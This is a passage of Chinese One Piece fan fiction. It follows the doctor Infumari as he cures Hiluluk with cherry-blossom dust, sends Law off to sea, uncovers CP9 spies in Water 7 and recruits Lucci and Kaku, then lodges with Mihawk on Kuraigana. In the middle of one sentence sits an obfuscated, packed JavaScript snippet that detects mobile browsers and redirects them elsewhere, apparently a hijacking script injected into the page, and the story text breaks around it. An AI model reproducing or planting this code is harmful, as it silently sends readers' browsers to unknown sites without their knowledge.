香克斯嘟囔着询问以后伊甸也要开始卖奶酪了吗?他跟着去看货物的时候真的有好多种类啊。茵弗笑着点头,往他嘴里塞了一块苹果片配奶酪。 “商业的王和露露西亚王国合作了,那边牛奶质量超级好的,可以做各种奶制品,所以不止是奶酪哦。” 美食会让人愉悦,这也是一种语言。医生、大剑豪、四皇,坐在餐桌前通过食物去沟通,由对方的偏好,用餐习惯也能了解对方——那些报纸、名头、传言以外的东西。 今天的餐桌有点吵,不过可以忍受,米霍克品味着堂吉诃德的好酒点点头,至少有奇迹游医在,红发消停很多。 “话说你今天叫我好几次哥哥诶?” “啊,真的吗?” 也许他话说早了。 不过米霍克一年都没有等到茵弗玛利的再次拜访。医生忙着治病呢。 与疾病的斗争就像是跟怪物打架。面对未知又庞大的巨兽狂蟒,束紧甲胄,举起武器和盾牌,在对方的攻击撕咬中找到规律、弱点、回击的空隙。他能听见怪兽的一举一动,带着腥气的鼻吸,所以他杀死它,驱逐它,将它驯服为人膝头的睡猫,用他的一切。 能力、知识、恶魔果实。 当年无所踪迹的三头犬站到他的眼前吠叫,他拉着它的颈环,翻身上背,在沙漏落完最后一粒之前试着冲出死神的庭院。 希鲁鲁克的治疗的确是关键时期,就像是他的研究一样。茵弗听啊听啊,试啊试啊,等希鲁鲁克的烧瓶里的物质咕嘟咕嘟冒着泡泡,最后噗地一声化为淡粉色的尘埃。茵弗恭喜了他,告诉他等制造出足够的量就回磁鼓岛放樱花,然后把他拉到医务室注射新的药物。 除了注射类,还有口服类,加上这段时间每天的药膳,希鲁鲁克吐着舌头说他这一年吃的药比饭还多。茵弗耸耸肩,给他递了一块糖。 嘀嗒、嘀嗒。钟表前行,永不停留,每一秒都是新的世界。把0变成1,中间要翻越多少座巨山?但他并不满足,他要把1变成100。 一袋袋的粉色尘埃被装满堆积,铁桶王国、不,早就已经没有铁桶王国了,磁鼓岛的居民们在多尔顿的带领下,到港口迎接帮了他们大忙的奇迹游医。 茵弗挥开栗子头领导者的感谢,将真正的主角推到自己面前。在炮筒指向天空时,他拜托再次被他叫来的看樱花的大熊悄悄地弹出希鲁鲁克身体里仅剩的病痛。 面前的熊掌泡泡比他预估的要大,不过他承受的来。拒绝大熊说可以帮他承担的建议,让他赶紧去和妻女找个好地方,不要陪他呆在墓园子里。这件事他得亲自来。 他盘腿坐在雪地里,咧嘴笑笑,在轰地炸响声里戳上它。飘落的粉色是雪,无声呛咳在掌心,滴落在地的也是血。不过耳边的吵闹是欢呼与喃喃感慨——来自于新生。 视线有点发黑,他微微仰头,看到漫天的樱花。 孩子们在花雨里跑呢,雷利和露玖居然在干杯;他好像看到史黛拉和泰佐洛拥抱彼此,他们接吻过没啊?都多久了,学一学旁边的大熊和金妮;罗西南迪倒是学着孩子们的样子伸舌头去接,笨蛋,这是化学物质,像你哥那样用手就好了... 他离他们有一些距离,隔着一道生死的门。他轻轻地歪过身子,靠在小小的石碑上。 你喜欢吗,米森? 希鲁鲁克大概还是没了几年的寿命吧,不过他拉着自己蓝鼻子的小儿子站在墓园门边,两个家伙在欣慰地赏樱痛哭呢。他将手里的最后一朵蒲公英弹入他的后背,在对方感受到时回头后呼唤道:“生日快乐,医生!” 这次是他送礼物了——为了他的【生日】。 一丝遗憾缓慢地亲吻了他,如果他偶尔的幻觉可控就好了,他多么多么想要看到那个胡子粗糙,捏起来软软的黑发船长也在这里,不管是什么方式。 他伸手去接——粉嫩的樱花化在滚烫的血里。 - 茵弗玛利离开了樱花王国。 罗也在今年离开了茵弗玛利。 他出海了,带着沃尔夫送他的漂亮潜水艇,还有堂吉诃德家族被他叫回来时柯拉松送他的妖刀鬼哭。 他打算先回北海,见见家人,然后从那里开始找更多的船员。茵弗还是希望他只是能做个游医啦,但是估计也不大可能。 斑点帽青年露出一个有点顽劣的笑: “舍不得我啊?” “...你快走吧!” 站位对调,历史重演,两双金色的眼睛眯着对视一眼,默契地移开视线。 他看着贝波他们往潜水艇上搬物资,这边是岛屿背面的隐蔽港口,只有【奇迹游医】出行时才从主港口开走波比,其他时候他们都用这里。所以来送行的都是朋友和家人,避开了人群喧闹。 茵弗也要出门,虽然觉得世界第一大剑豪也不太在乎他到底去不去,不过他说好了要去做客研究狒狒的。只不过隔了这么久他准备多带点礼物,比如托特兰的好种子,七水之都的海盐。 黄色的潜水艇上还没有画标志,估计下次见面——不是亲眼就是在报纸上,就会看到了。 今天是个适合出航的好天气,几缕淡淡的云棉花糖絮一样飘散,带着温意的微风徐徐。 蓝色的海,贝波白色的毛,罗西南迪流泪都没有哭花的漂亮眼妆。茵弗的视线缓缓扫过它们,搬运的人与物都变成了蚂蚁,握手拥抱都是触角的交流。 是很好的生物,他也是一只蚂蚁,心脏长在胃里。 所以才酸酸的吗? 向他伸来的触角纤细修长,轻轻触碰他的额头,他聚焦在上面——原来是一只手。他握住它,缓缓下移,在经过嘴唇时在掌心吻了一下,然后放在自己的胸口——他心脏真正的位置。这是香克斯曾经总做的动作,希望传达他的声音给他。现在变成他和罗的交流方式,心脏、誓言、感谢。 咔哒、三分十四秒。 罗摁停了他的秒表。 “我走了,老师。” “哇哦,再叫一次?” 他的学生臭着脸抽回自己的手。 茵弗笑笑,拍拍他的斑点帽,没有打扰他和其他人告别。他率先骑上自己的巨鸟,在潜水艇离港前飞向七水之都。 - 这座城市也是大变样。 清澈奔流的水道上布鲁们或急或缓地游动着,死亡的气息早就一扫而空,这里正式变为了伟大航路赫赫有名的水之城、造船之城。 卡雷拉公司,由旧的公司们合并而成,已经成了世界政府的御用造船厂,领导者不是汤姆,而是他的大弟子冰山——七水之都的新市长。乐天派的牛角鱼人仍然管理汤姆工作室,并入卡雷拉名下,继续负责伊甸相关和海列车扩建的工程。 “在组织建造海列车时露玖夫人就已经为合并打下雏形了,所以十分顺利。” “那确实,几年不见翻天覆地了啊,不过我还是喜欢您的长发捏。” 面色硬朗,开始留起胡子的艾斯巴古耳朵一红,这么多年也无法适应茵弗玛利又正经又不正经的说话方式。 “您这是性骚扰!” “这样吗,好过分啊我。” “卡莉法...这是客人啊。” 茵弗对着漂亮有气势 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“逛街去?顺便给我看看您的卡雷拉,然后我要买点海盐走。” “专属售卖权仍然在伊甸手里,我不会收回的,所以拿一些就行,卡莉法...” “已经拿来了,礼物套装款。” “哦哦不愧是卡莉法啊。” 茵弗感谢地点头接过,然后从自己的零花钱里数了贝利交给她。 “那我也得买啊,顶多吃个折扣,我也只是在给伊甸打工而已。” 艾斯巴古笑笑,示意卡莉法就自己收下吧。 造船厂确实很帅,除了很帅他也没什么别的形容词。他是医生,说实话这些他就从来没看懂过,只是在艾斯巴古介绍时认真点头。威严霸气,虽然那个标号的大门茵弗不是很理解,明明从旁边的栏杆很矮。不过天气晴朗的日子里,热火朝天的船匠们吆喝着,手下叮叮当当,或者处理木板的刷啦声都很动听,实在是比温暖的阳光还让人精神振奋。 和奥比塔拉有很多性格古怪的医生一样,卡雷拉也有很多性格古怪的工头。能把绳子玩出花的欠债男和头发一定会在身体某处翘起来的怪家伙不提... 茵弗笑眯眯地结束友好的握手,歪头打量了一下面前头发像鬃毛,念着戏腔的高大男人和脾气有些暴躁,留着须子样式胡子的人。 和卡莉法一样,船匠和秘书...需要有这么强的实力吗?而且叫加布拉的吃了恶魔果实啊。听起来是动物系的——犬类的声音。 出色的船匠,出色的秘书,出色的...间谍? “您吃过恶魔果实啊。” 加布拉一惊,路奇他们就是在这个人身上栽了跟头...难道被发现了?他挠挠头,做出回忆的样子,顺便冷静一下,以免先乱了阵脚。不着痕迹地和卡莉法对视一眼,他在戴鲁斯通用他的大嗓门嚷嚷着怎么不告诉他们的时候友好地笑答好像是年轻的时候误食了个奇怪的果子,也不知道有什么作用。 “不过您是怎么知道的呢?” “我收集恶魔果实,身边也有不少能力者,您们身上总有一种...相似的地方。” 茵弗笑笑,模棱两可地回答后略过这个话题,继续他的参观,并同意了艾斯巴古说难得一见,晚上一起去喝酒然后去汤姆工作室那里吃个饭的提议。 “就像你第一次来找我们下订单时那样。” “好啊。” 确实得好好聊聊呢。 不过那些都不提,他不能明白造船厂,但他明白美食,水水肉也太好吃了吧。茵弗捧着脸,一副要融化的巧克力样子。 “呜哇~脸颊要化掉了~好嫩好香哦。” 和海盐不同,水水肉是居民们自创的美食,很多人都会做,也开创出各种各样的吃法。以前的七水之都可没人有功夫研究这些。食物文化的发展某种意义上来说也是大家生活状态的一种体现。所以他又夸夸身旁的市长先生。 身旁的蓝紫发男人微笑,又接过卡莉法买来的水水糖,水水蜜饯递给他,像投喂一只贪吃的小老鼠,虽然对方和自己年龄相仿,差不多高。 “喜~欢~”脸颊塞得满满的小老鼠幸福地说道,摸出自己的钱包开始数零花钱,“再带一些做礼物,然后自己留一些吃,要不在这里多呆一阵子学一下水水肉怎么做的?” “当然好了,七水之都永远欢迎你。” 茵弗玛利是他的大恩人,如果那天他没有站在他们三人眼前,大概他早就失去汤姆先生了吧,甚至可能会失去弗兰奇。而对方对他们的帮助,那些启发的话语与鼓励,让他再次坚定他就是一种浪潮,卷走那些残破的,死亡的,汤姆工作室的延续就是他留下的,珍贵的海盐。所以他也会努力守护好他珍视的,包括这座向着海底下沉的岛。 比如晚上和汤姆先生他们一起,好好聊聊他在卡雷拉里发现的东西。 “大概就是间谍?” “卡雷拉公司现在和政府合作,他们不能贸然对我们下手,所以选了这种方法吧,汤姆先生身边的人手都是之前的,新分配的也要在一号船坞工作过我才会派遣。” “哈哈哈哈哈他们要是抓住你们威胁我的话可怎么办啊?” “别笑岔气了,汤姆先生。” 茵弗吃着水水肉做的咖喱,一边听他们交流一边铺开见闻色细密关注着,话题敏感,能感知到在活跃的电话虫都不能有。冥王设计图的事情那天审判日之后汤姆就跟他坦白了,虽然他没说他哪来的。海王他已经知道是白星,冥王他也知道在哪,甚至技术有保留下来,那么天王呢?人鱼公主哪一位会是海王不可控,世界政府现在努力想要得到的就是冥王的设计图,所以他们大概不知道和之国锁国锁的是什么,那天王他们也会想要控制吧,就是不知道到手没有了。 “奇先生那边我也会再关注,今天见面时好几位都戴着手套我也就没留意,您们身边到底被塞了多少个探子也不知道。” “真是super~感谢你啊黑皮男!” “嗯啊,我就说卡莉法有时候还满可怕的...” “哈哈哈哈又麻烦你了啊!” 他吃下最后一口咖喱,又往嘴里送了块水水糖,嘟囔着说,“实在不行我建议您们就把它毁了吧,人活下来在我看来才是最重要的。”面对他们的惊讶,他补充道,“【冥王】您们不造,之前的也还在,我知道在哪,短期内不管是谁肯定都拿不到。” 落到政府手里太危险了,可能还要搭上性命。它的确是珍贵的设计图,一种技艺的传承,可是它也有点像托特姆吉卡的的乐谱。 茵弗挺好奇的,所以询问他是否能看看,倒是没想到是弗兰奇从他改造后的身体里取出来,确实这很难找到呢。最显眼的地方反而最会被人忽视。 他翻看一会儿就还回去,看不懂,设计不说,有大量的古代文字,他还是能认出来的不多。大概知道是个什么东西他就满足了,毕竟和之国的他也见不到。 所以说“古代”的定义真的是很混乱。这片海上有恐龙生活的原始之岛;有看起来才刚脱离野人不久的部落用高科技的武器;有的地方只能用煤油灯,用叶子做药物的裹料;他的医院里已经有先进的医疗器械了。“古代”能有这样的东西,当时到底是什么样子?为什么现在却如此混乱,反而“现代”像是“落后”了一样呢? 世界政府...嗯? 他突然伸出手止住他们的交谈,示意将话题引开。众人点头,由武器聊起战舰改造的工程。借口说他要去散个步,走出门外,茵弗视线扫过空无一人的夜色,在某处停顿一下后抬脚向街里走去。 门门果实的使用者布鲁诺在那双金眸准确地看向自己时惊出些许冷汗,也许是错觉,他们都因为奇迹游医对加布拉的试探而太紧张了,卡莉法已经联系了路奇和卡库,他们告知不要轻举妄动,可是他在门后应该无法被发现才对? 躲在某个空间里,存在于此处可以被感知到,但是肉眼不可见,还有这样的果实啊。茵弗抛玩着自己的硬币,突然想起那两个被自己放跑的小间谍。 81.鹰和猫 茵弗在七水之都每天就是去学水水肉的做法,逛逛街,偶尔拜访一下弗兰奇之家和卡雷拉的船坞,带一些自己的水水肉练习品请他们品鉴。至少外人看来是这样。 短短时间,间谍大概都有谁也被他摸清。艾斯巴古身边的卡莉法、加布拉、偎取,弗兰奇之家的奈罗,可可罗和汤姆常去酒馆的布鲁诺。 那天见闻色探查到的能力者大概就是这位憨厚的酒吧老板了,除了他吃了恶魔果实的只有加布拉。 “咕咕再来一杯吗,先生?” 茵弗逗弄了一下落在吧台上,戴着领带的白鸽。将手中的酒杯推给牛角发型的男人。 “您请客吗,哈多利先生?” “我请。” 低沉的男中音传来,身旁坐下两道身影,小间谍们也长大了。布鲁诺的酒吧今天休息,昏暗的灯光下,他们是仅有的客人。 “找我干嘛,先生们?”茵弗递给身旁的长鼻子的青年一块水水糖,他自己做的菠萝味,“嘛,不过活下来就好。” 卡库笑笑,将糖果放到嘴里:“托你的福。” 两次任务失败,茵弗玛利没有将他们直接交还政府而是将他们放走,虽然避免了直接带回去被“放弃”,但是战败者仍然会被追杀。他们二人配合着,加上仍然在CP9的伙伴们的接应,干掉了前来处理他们的海军,受伤后得到了奥比塔拉免费的医疗帮助。当时不是茵弗玛利来见他们,但是他们知道是他的安排。 “布鲁诺他们暴露了。” “当然了吧,您们都能被我逮住,他们更不行。” 虽然他们都是杀手,但是也从小一起在冠昊岛上长大,互相斗争厮杀,帮扶互助着接下“超越人类极限”的训练。现在他们暴露了,在卡莉法来电说加布拉的果实能力被奇迹游医询问时他们就知道自己的伙伴们已经离任务失败只有一步之遥。 他们不再是孩子了,也和奇迹游医没有过交集,他那偏心的宽容不会出现在他们身上。 “政府拿不到设计图的。”茵弗喝了一口酒,“您们也是意识到了这回事才来找我的吧?不过哈多利先生好聪明哦,还会传信。” 茵弗从前就不讨厌这两个小子,现在也不讨厌。CP9成员们之间的这种,虽然有点黑暗扭曲但存在柔软的伙伴情他也蛮喜欢的。 “我们合作吧,奇迹游医。” 路奇将哈多利送回自己的肩上。 “你可以需要我们。” 茵弗玛利和各个势力都有联系,甚至冥王雷利这样的强者都选择定居在奥比塔拉,他有着无与伦比的号召力。只有强者才能决定弱者的命运,那些弱小的失败者被面前的人玩弄与鼓掌之间,被耍了还不自知的蠢货不配裁决他们的命运。 “我需要你们什么?”茵弗语气平淡,他指指布鲁诺,“六式?超人?满足于给人当杀戮兵器?您们太弱了。” 就是这种不在乎的自信,让路奇觉得血管发烫。他舔过自己的犬牙,再次重复道,“所以合作吧,我们会变强。” 茵弗歪歪脑袋:“给我讲讲您们是怎么成为政府的小杀手的吧。” 冠昊是世界政府训练Cipher Pol成员的地方,包括罗布·路奇在内的CP9成员小时候都在此接受训练。世界政府收留了许多孤儿,并且在他们懂事之后对他们进行超乎“人类极限”的训练,使他们通过训练得到了6种超人般的体技“六式”。 “不过偎取先生总是念叨''妈妈''''妈妈''的?” 路奇哼笑一声:“白痴,他的''妈妈''才是把他卖给政府的人。” 世界政府与人口贩子合作,大部分都是孤儿院这类。里面的''母亲''如圣人一般不分种族身份、收容无处可归的孩童,甚至是诱拐。并且定期在孩子们中挑选优秀的人才卖给海军或者CP组织。 卡库:“海军里的巨人族士兵很多也是这么来的,比如约翰·贾恩多中将。” 金发男人眯了眯眼睛:“巨人族怎么会出现这种事情?那是个骄傲的国家。” 长鼻子青年耸了耸肩,具体他们也没调查过,不过冠昊就是这样的,世界政府和''妈妈''倒卖孩子来训练杀手间谍。 嘶...有点熟悉感。 不会吧...今天也对世界微笑的欲望又少了一点点。 “卡莉法的父亲拉丝基是CP成员,她从他那得知后告诉我们的,偎取只是...偎取。” 酒杯中的酒液混浊,他轻轻摇晃了一下,试图透过它看到点什么。他什么都看不到。 卡库:“不过CP0可以接触到的机密信息很多。” 路奇和卡库的确被“常规”的CP组织驱除,但是所有CP之上还有CP0。政府内部也有阶级分化,他们有能力,只要展现出足够的价值便足矣被重新召回,他们杀了去追杀他们的海军和政府成员也无所谓,那是实力的证明。 “...真辛苦啊...”茵弗鼻尖长叹一口气,“除了不想让我把CP9像斯潘达姆一样交上去换利益...您们想从我身上得到什么?” 路奇:“你还会''耍神玩''吗?” 茵弗捏了一下他高挺的鼻梁,不演戏的时候面瘫小子连个反应都没有,“您想参与啊?果然也是个坏小子嘛”,他端详了一会儿黑发青年眼底混沌的黑暗,“杀戮与血腥只是最低级的''强大'',先生,但是它们在这世界上的确好用,无与伦比地,您可以追寻您想要的。” 他饮下杯中酒,在布鲁诺要给他再添时拒绝。路奇感受到他身上的气势变强,即使他面色平淡,仍然一手托着腮。他看着他手里的酒杯变成黑色,递到哈多利面前,在被鸽子轻啄时发出如钢铁般的闷响。 “我给您们一个机会,这一次,您们自己去耍耍那群家伙吧?试一次就知道感觉多好了,和汤姆工作室一起。【茵弗玛利】给出的结果是,''政府拿不到古代兵器的设计图''。” 他将酒杯捏得变形,明明是玻璃却宛如是一团泥巴,在布鲁诺震惊的表情里,它将它放到桌上,然后在收手的一瞬间炸成粉末,“但是想要站在我这边,就得有站到底的觉悟,明白吗?” 卡库笑笑,又吃了块糖:“政府的工作太容易被开除了,我也想做点想做的事,之前给你打工拿小费的感觉还不赖。” 路奇:“你想知道什么?” 茵弗歪头想了一下,一根根竖起指头。 人口倒卖相关记录,尤其是巨人族;人体实验,露娜莉亚族实验室记录;泽法亲属遇害犯人身份和惩处结果...前海军大将的事情他居然在海军那都找不到资料。 “还有什么您们觉得好玩的都可以告诉我,不觉得很有趣吗?挖掘秘密不是特工很爱干的?在秘密最多的地方挖简直不要太爽。” 伸了个懒腰,茵弗取过一直放在一旁的保鲜盒打开,里面是他终于学会的水水肉,“尝尝?这次挺成功的。您们想要什么就去奥比塔拉要,我要去别人那做客,不回去。” 长鼻子青年尝了尝水水肉,满意点头,问他他会给什么。 “围巾、饼干、糖果、教导、恶魔果实?” 尤其是动物系他还有很多,家里小孩都不喜欢,自然系本来就少,除了他要,多弗朗明哥也不会给别人。 “六式真的不够看,泽法先生教过我,我都不怎么用的。您们想往上爬就得更强。” 卡库挠挠脸,这种语气感觉回到从前了,他和路奇去主屋区做客,被像“家里小孩”一样照顾。长辈的絮叨,让他们多吃一点才能长高。 茵弗指指布鲁诺:“尤其是您,先生,我期待您果实觉醒的那一天。” “您们选择''茵弗玛利''想要得到什么,就自己走下去看看吧,也许我能提供,也许我不能,好奇吧?这一行为本身,我喜欢。” 他吻了吻他们的额头。 夜色深了,推门离开时,茵弗挥手与世界政府、不、他的小间谍们告别,拿出标着双蛇的电话虫。 “查一查''修女''加尔默罗。” - 茵弗到达克拉伊伽那岛时,岛主人并不在。他和狒狒们打了个招呼,把不记得他的又揍了一顿,然后分了一些带来的水果,记录观察它们的反应后礼貌敲门后进入城堡。 哥特风格的尖拱和肋架拱顶带着一种渴望直指天堂的哀怨气。奇特的神秘感有着一种激发崇高的美学。这是一个旧王国的遗址碎片,发霉味后沉睡的的是火烧的焦糊与血腥。整座岛都终日阴森,他不确定这是战争与死亡带来的,还是它本就如此。 米霍克为什么住在这儿?人是群居动物,他选择自己一个人被死亡围绕,不会孤独吗? 推开右侧主厅的大门,就是大剑豪的休憩厅——也就是上次来做客主要呆的地方。典雅、高贵、但是即使人不在这里也透着截然不同生活气。不过毕竟主人家不在,他也没有就随便就进去。 他先去给自己仍然没法叫名字的巨鸟在上层的半开放露台安置好。从它身上取出便携的折叠窝铺开,示意它就呆在这儿。它是个聪明的鸟,久住的话会照顾好自己,找东西垫窝,出去放风什么的都不用他管。亲了亲它巨大的喙,茵弗将它身上背着的行李卸下,取出这些鸟们很喜欢的肉干混合零食喂了一把后去给自己找了个房间。 城堡至少一半都是荒着的,所以他可以随便挑。这种样式的建筑通常长廊的构造都是长而不宽,支柱间距小,天花板很高。尤其是在如此空旷时,给人一种升腾之感。至少对茵弗来说,是麻麻的。 他选了上层带阳台的卧室,也许是波比住多了的习惯让他偏向高处。 重新打扫很麻烦,发霉的床垫丢掉,那个大被子看起来很好睡的样子好可惜,也许还能挽救一下。清理掉爬虫和老鼠他直接点了块自制的熏药把夹缝里的小生物都熏出来。在看到一只有他小臂长的大蜈蚣时开心地一手杖抽下来装到空瓶里——红红的一看就是好东西。 战争也就是前两年的事情,本来王族的东西质量就不错,大部分家具都保持着很好的状态,就是灰尘太多。清理,消毒,打开阳台的落地窗和门通风。等这间房间终于能住人,他也脏的不成样子了。 继续晾着空房间,茵弗一身尘土地在古堡里转了一圈。藏书室大概米霍克会呆,打理得很好,酒窖也是完全合格。厨房大概他们只能用一个,浴室的话房间里就有。他推开面前雕花繁复的大门,看到极其破烂的王厅。 王座倾倒,背后的墙壁上大概挂过壁画,只剩下画框大小的白痕。石柱上有刀砍过的破碎痕迹,墙上有些黑乎乎的弹孔,被烧燎过的挂毯和地毯似乎仍然滚烫。他好像听到怒斥与哀鸣。 茵弗没有往里走,他关上了门。 他去找了储物室,大概米霍克搬进来的时候已经把能用的和不能用的清理过了,废弃的一堆,其余的上面都蒙上布单隔开灰尘与潮气。所以他顺利找到床垫,地毯等物品,一趟趟搬回自己的房间。不过王族屯的花哨东西是真的很多,茵弗对着不同地毯上的花纹咋舌,想来想去还是又拿了几个漂亮的烛台。 累死了。 虽然很饿,但是洗过澡之后他就没精力做饭。特别是把那个镶金的大浴缸刷了一遍之后。去看了一下自己的巨鸟已经把自己弄得舒舒服服的在清理羽毛了,他往床上一扑就打算睡觉。 虽然太阳才落山,不过管他呢。 早上起来有早饭吃他是意外的。米霍克大概昨天或者清晨回来了,注意到他来。赶得巧,本来以为他走了大剑豪都不一定回来。茵弗手插在背带裤的口袋里下楼时就闻到饭香。 “打扰了,我昨天刚来。从储物室里借了些床垫什么的,旧房间的都长蘑菇了。” 黑发男人嗯了一声,他只是去附近的岛买一些东西,自然知道他才来不久。确实如他所料,茵弗玛利只是要借个地方住,他不在的时候没有随意侵入他的空间,这一点很好。比他弟弟对距离感的认知更像正常人一点。冰箱里多了些包装好的食材和肉制品类,大概是“礼物”。 “吃早餐?” “好,这段时间打扰了。” 鹰眼厨艺很好,上次来茵弗就知道了,虽然有点好奇他自学的还是有人教过。半熟的溏心蛋,蛋黄泛着让人颇有食欲的橘,配上菠菜牛肉卷,营养美味。 “哇,酸面包是您自己烤的?” 米霍克点头。 “您不介意的话,饭食我也可以帮忙做,正好给您带好几种奶酪,配上酸面包做开放式三明治。” 既然用了人家的房子,那做饭打扫,包括帮他打理菜园子这些事情他还是会做的。而且他还想吃鹰眼做的饭。对方果然不在意他什么时候来,什么时候走,只要不打扰他的生活就好。等全都商量好,茵弗收拾餐桌去洗盘子,心里感慨米霍克真是个好室友。 被他在心里念叨的人也是类似的想法。 他们两个的作息稍微不太一样。他清晨就会起来练刀,洗澡后准备早餐。不过除了开始的几天,后面茵弗玛利会睡懒觉,有时候十点多才会迷瞪瞪的下楼。所以他也不再做两人份的早餐,反正有面包什么的他自己会吃。 打理菜园也很熟练,这次带来的礼物里还有从BIG MOM的种子大臣那里要来的优良种子。都是很适合在克拉伊伽那缺少阳光也能茁壮成长的品种,还有一些无花果树苗。 毕竟是来做研究,大部分时间茵弗玛利都去外面,除了狒狒们那里也去岛上的别的地方,丛林,城镇废墟,黑暗山。自己活动范围没那么广,也就互不打扰。因此午饭经常也不会一起吃,有时候茵弗玛利会给他做好饭后装便当出门,如果他赖床很久米霍克就给他装好。 “每次打开您给的便当前都超级期待,算是考察中的最令人喜欢的时刻。” 这一点他和红发倒是很像,喜欢啊什么的会很直白的说,话也很多。不知道他们兄弟谁影响谁,不过也许二人都是天性如此,毕竟还是不太一样。茵弗玛利是那种话很多,但是仍然让人觉得是安静的存在。 和他聊天不累,他也不介意米霍克不怎么回话,有时候更像是他自己在抓住思绪,所以要念叨一样。他有很多答案,让人觉得新奇,但是也有很多疑问,总是在接连不断地试着拆解。 在古堡的大厅里,他们随意闲聊,暖色的灯光下,米霍克手边的矮桌上放着红酒,靠在他的高背椅上读书。壁炉里的火烧得旺,将整间厅室烘的温暖。茵弗玛利也读书,偶尔和他聊聊里面的内容,他今天发现了什么,晚餐很好吃这类。拆解,思考,就像是会在他旁边自己玩毛线团的猫,发出一些声响——让人感到宁静的声响。 如果他给这只猫指出线头,就会获得他这段日子已经听了太多遍的称赞。 “不愧是''鹰眼''啊,米霍克先生。” 大多数人认为他的名号来自于他锐利的眼睛,如天空之主般狠戾,他是强大的捕食者,被他盯上的人只会变成猎物,再强的战士也会在他的凝视下不寒而栗。 “鹰的眼睛无比敏锐。可以看到更广阔的角度,更复杂的色彩。”白色衬衫袖子卷起,切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15091065|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着蔬菜的人却这么说。“和您很搭的称号呢,您的洞悉能力令我钦佩” 晚餐是他们唯一会一起吃的一餐。茵弗玛利的药膳确实不错,而自己在尝试最为“美学”的药膳后也没有说恶心,这件事让对方大为感动。 “是吧!这可是一夜之间就可以清理血管,促进血液健康的药物,还能顺便吃饭,多么好呀!”他有些激动地挥了下勺子,然后蔫巴巴地说他现在都不怎么做了,“不过确实,没人愿意折磨自己味蕾,我只是觉得好玩。” 所以他自己也知道比起食物这更符合药一点。 米霍克又喝了一口苦涩的汤:“我也不想天天吃药,不过既然益处良多,偶尔一次的话也不是不行。” 对面的猫咪欢呼一声,然后暗示地跟他说明天便当如果能吃到他做的煎鱼和芝士蛋卷就太好了这类。大概相处久了吧,茵弗玛利喜欢一些肢体接触,喜欢撒娇也越来越明显,不过尊重米霍克的距离感,做多也只是靠过来贴一下。同样和红发很像,但是不一样。 狒狒们好像真的被他驯化了,或者是在交朋友?茵弗玛利说它们已经很接近人类,模仿的天性是一种及其优良的学习潜能,可塑性很强。 一种行为模式会压过另一种,但曾经学习过的东西不会消失。等它们大脑进化到能真正理解这些行为,自主地选择,也就是人了。 “屈服于力量,屈服于利益,人与兽的本能。” “正是。曾经我们的祖先也许也是最暴力狡猾的一群,在厮杀中模仿学习强大者,然后幸存下来的一支猿猴?” 茵弗玛利蹲在树下,接过跑来的狒狒递来的香蕉,礼貌感谢后回赠一颗桃。米霍克盘腿坐在一旁听他解释,他能感觉到面前这些人类模仿者并没有失去它们的野性和战力,只是身旁的医生今天在和它们野餐。 “也许它们能帮您打理菜园,我下次试试。如果它们学会了之后自己开垦田地,而不只是给您种地,那么会更有趣。” 身旁的人想到这一点后在鲜艳的本子上写写画画。这他倒是没想过,米霍克也有点好奇了。 虽然他仍然不会在早晨的练刀时间见到人,不过茵弗玛利自己也会锻炼。他们二人偶尔也切磋,只是他最想要对决的仍然是优秀的剑客。 “我后来没跟着雷利先生学刀呢,虽然没什么天赋,但是当时坚持下来的话,现在也许也能看得过去?” “冥王雷利?” “是捏,后来跟着□□先生学霸气,至今想要揍他一顿的梦想还没实现。” 茵弗揉着腿,目光流连在米霍克漂亮的黑刀上。“不过我知道有个小子梦想是打败您,成为世界第一大剑豪。” 黑发男人耸肩,想挑战他的人不在少数。 “那是个很好的孩子,您会喜欢他的,我用我的血在他身上押注了。” 米霍克挑眉:“你觉得他能打败我?” 茵弗:“我觉得他不会被您打败。” 难得地,他发出了一阵愉悦的笑。金发的人也眯着眼睛笑,夸他笑起来真好看,然后歪着脑袋问他笑什么。 米霍克脸上仍带着笑意:“他叫什么?” 茵弗:“罗罗诺亚·索隆。” 红发用左臂豪赌,茵弗玛利也下注。这又是一件让他好奇的事了,不论如何,他期待着。 等狒狒们真的开始帮忙种地了,来做研究的人已经完全变成在他这里...度假?暂居?米霍克没问他什么时候走。 自己也习惯了坐着小船出去,过一段时间回来后岛上有人跟他说“欢迎回来。”他也偶尔带点别的岛的小玩意给他,然后说“我回来了。” 严格意义上来说,茵弗玛利仍然只是借了一个房间,不过这座古堡已经习惯了它有两个住客。一只喜欢红酒的鹰,一只不喜欢红酒,但是喜欢光着脚踩长毛毯子的猫。 “你为什么不喜欢葡萄酒。” “因为是葡萄汁酿的啊,我也就能喝一杯吧。” 茵弗蹲在盆子边处理葡萄,准备自己酿一点给米霍克。他不喜欢归不喜欢,酿酒他还是了解过的,毕竟他也有做药酒。克拉伊伽那不适合种葡萄,不过他的巨鸟——现在为了称呼方便,用本名谐音叫咖尔,速度快,运输方便,在奥比塔拉也是做类似工作,所以他买了一堆葡萄回来,顺便帮米霍克带了些日用品。 “蜂蜡不是我的日用品。” “但是您用蜡烛,我很想试着做手工蜡烛。要一起吗?就是那种一层层往烛芯上裹然后...” 传统的手艺,比起用模具灌蜡再定型会麻烦很多,耗时很久。不过大概就像亲手培育一颗种子,最后会结出令人满足的果实。他没跟着弄那一大盆葡萄,但是也许做蜡烛可以试一下。深色的葡萄汁粘在深色的皮肤上,像血。 米霍克动动鼻子,酸甜的味道。 茵弗玛利的念叨已经从做蜡烛变成用精油做香薰蜡烛,变成蜜蜂。从蜜蜂养殖又变成跟他讲有一种会吃肉的蜜蜂会偷吃别人的汉堡,还有会在土堆里挖洞建城堡的蜂后。然后他变得一言不发,空气里仅剩葡萄的声音。 过了一会儿,话题又拐回去,他说他也想养蜜蜂,如果可以养出来能产出已经带着香味的蜂蜡的蜜蜂是不是就可以做天然的香薰蜡烛... “也许这片海上已经有那种蜜蜂了呢...嗯...蜂蜜...蜂蜜葡萄酒?” 